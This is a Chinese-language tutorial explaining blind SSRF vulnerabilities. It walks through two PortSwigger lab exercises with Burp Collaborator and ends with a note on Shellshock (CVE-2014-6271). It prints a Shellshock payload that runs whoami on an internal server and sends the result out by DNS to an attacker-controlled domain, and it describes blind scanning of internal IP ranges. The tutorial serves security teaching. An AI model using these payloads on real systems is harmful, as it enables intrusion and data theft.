服务器端请求伪造(SSRF)-盲SSRF漏洞

admin 2023年3月8日23:39:45评论132 views字数 2507阅读8分21秒阅读模式

在本节中,将解释什么是盲SSRF,描述一些常见的盲SSRF示例,并演示如何查找和利用盲SSRF漏洞。

 


什么是盲SSRF

当可以诱导应用程序向提供的URL发出后端HTTP请求,但后端请求的响应未在应用程序前端响应中返回时,就会出现盲SSRF漏洞。

 


SSRF漏洞的影响是什么?

SSRF漏洞的影响通过长低于完全知情的SSRF漏洞,因为它们具有单向性。不能轻易利用它们从后端系统检索敏感数据,尽管在某些情况下可以利用它们来实现完整的远程代码执行。

 


如何发现和利用盲SSRF漏洞?

检测盲SSRF漏洞最可靠的方法是使用带外(OAST)技术,这涉及尝试向我们控制的外部系统触发HTTP请求,并监视与该系统的网络交互。

在测试SSRF漏洞时,通常会观察到对控制的外部系统域的DNS查找,但是没有后续的HTTP请求。这通常是因为应用程序试图向域发出HTTP请求,这导致了初始DNS查找,但实际的HTTP请求在网络层面被过滤掉了。基础设施允许出站DNS流量是相对常见的,因为有很多目的都需要这样做,但会阻止与意外目的地的HTTP连接。

简单地识别可以触发带外HTTP请求的盲SSRF漏洞本身并不能提供可利用的途径。由于无法查看来自后端请求的响应,因此无法使用该行为来探索应用程序服务器可以访问的系统内容。

但是,仍然可以利用它来探测服务器本身或后端系统上的其他漏洞,我们可以盲扫描内部IP地址空间,发送旨在检测已知漏洞的有效负载。如果这些有效负载还采用了盲带外技术,那么可能会在未打补丁的内部服务器上发现严重漏洞。

另一种利用盲SSRF漏洞的途径是诱使应用程序连接到攻击者控制的系统,并向建立连接的HTTP客户端返回恶意响应。如果可以利用服务器HTTP实现中的严重客户端漏洞,可能能够在应用程序基础架构中实现远程代码执行。

 

场景试验-带外检测的盲SSRF

https://portswigger.net/web-security/ssrf/blind/lab-out-of-band-detection

场景说明:

这个试验场景使用分析软件,该软件在加载产品页面时获取Referer标头中指定的URL

试验目的:

要完成这个试验,需要使用此功能向公共Burp Collaborator服务器发出HTTP请求。

攻击过程:

打开页面后访问个产品,把这个请求发送给Repeater

 

Burp主菜单中打开Burp Collaborator Client并复制地址到粘贴板

服务器端请求伪造(SSRF)-盲SSRF漏洞

 

Repeater中替换那个请求的Referer后面的地址,发送请求完成试验,可以在Burp Collaborator Client看到外连过来的DNS请求

服务器端请求伪造(SSRF)-盲SSRF漏洞

 

场景试验-使用Shellshock开发的盲SSRF

https://portswigger.net/web-security/ssrf/blind/lab-shellshock-exploitation

场景说明:

这个试验场景使用分析软件,该软件在加载产品页面时获取Referer标头中指定的URL

试验目的:

要完成这个试验,需要使用此功能对192.168.0.X范围内的内部服务器的8080端口执行盲SSRF攻击,在盲攻击中,对内部服务器使用Shellshock漏洞以泄露操作系统的主机名。

攻击过程:

BurpBApp Store中安装"Collaborator Everywhere",这个工具是SSRF扫描器,当我们访问站点时会在可能发生的SSRF的地方都写入payload,如果存在漏洞,那么就会检测到,相当于协助我们自动发现SSRF注入点

服务器端请求伪造(SSRF)-盲SSRF漏洞

 

这个插件的使用方法也很简单,会自动监控加入"Scope"中的站点,我们访问下试验场景的网站,然后在"Site map"这里把它添加进去

服务器端请求伪造(SSRF)-盲SSRF漏洞

 

浏览下首页,并未发现任何SSRF的注入点,接下来打开一件商品,可以看到在右侧信息栏中有爆出SSRF的注入点,在RefererUser-Agent两个地方都有

服务器端请求伪造(SSRF)-盲SSRF漏洞

 

在找到注入点后,把具有注入点浏览商品的这个请求发送给Repeater,同时打开Burp Collaborator Client复制下地址

服务器端请求伪造(SSRF)-盲SSRF漏洞

 

试验一开始就提示了,利用Shellshock来泄露主机名,因此我们就利用User-Agent来进行ShellShock的注入暴主机名并通过带外技术把信息反馈出来,利用RefererSSRF漏洞来进行内部主机的指令传递。ShellShock的构造语句如下:

() { :; };/usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN

服务器端请求伪造(SSRF)-盲SSRF漏洞

服务器端请求伪造(SSRF)-盲SSRF漏洞

 

攻击完成后,在Burp Collaborator Client"Poll"一下结果,把盗取到的主机名提交即可完成试验

服务器端请求伪造(SSRF)-盲SSRF漏洞

 

试验小结:

这个试验一开始利用了自动化攻击的扩展工具,可以更方便的寻找到SSRF的注入点,在找到注入点后,需要根据注入点可利用的不同特点来进行注入语句和方式的使用。

 


Note

ShellshockCVE-2014-6271

Bash 4.3以及之前的版本在处理某些特殊构造的环境变量时存在安全漏洞,向函数环境变量值后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行任意的shell命令,甚至完全控制目标系统

受到该漏洞影响的bash使用的环境变量是通过函数名称来调用的,以“(){”开头通过环境变量来定义的。而bash在处理这样的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令

比如下面先定义了个特殊构造的“函数环境变量”(正确定义函数变量应该是foo='(){函数代码};'),然后执行bash后就会自动执行foo环境变量函数后面那块

服务器端请求伪造(SSRF)-盲SSRF漏洞



服务器端请求伪造(SSRF)-盲SSRF漏洞


文件上传漏洞-概念梳理

访问控制和权限提升漏洞-概念梳理

信息泄露漏洞-概念梳理

业务逻辑漏洞-概念梳理

命令注入攻击(上)
目录遍历攻击(上)

身份验证漏洞-概念梳理

SQL注入攻击-检索隐藏的数据
HTTP高级请求走私-响应队列中毒
HTTP Host头漏洞攻击-概念梳理


原文始发于微信公众号(H君网安白话):服务器端请求伪造(SSRF)-盲SSRF漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月8日23:39:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   服务器端请求伪造(SSRF)-盲SSRF漏洞http://cn-sec.com/archives/1237681.html

发表评论

匿名网友 填写信息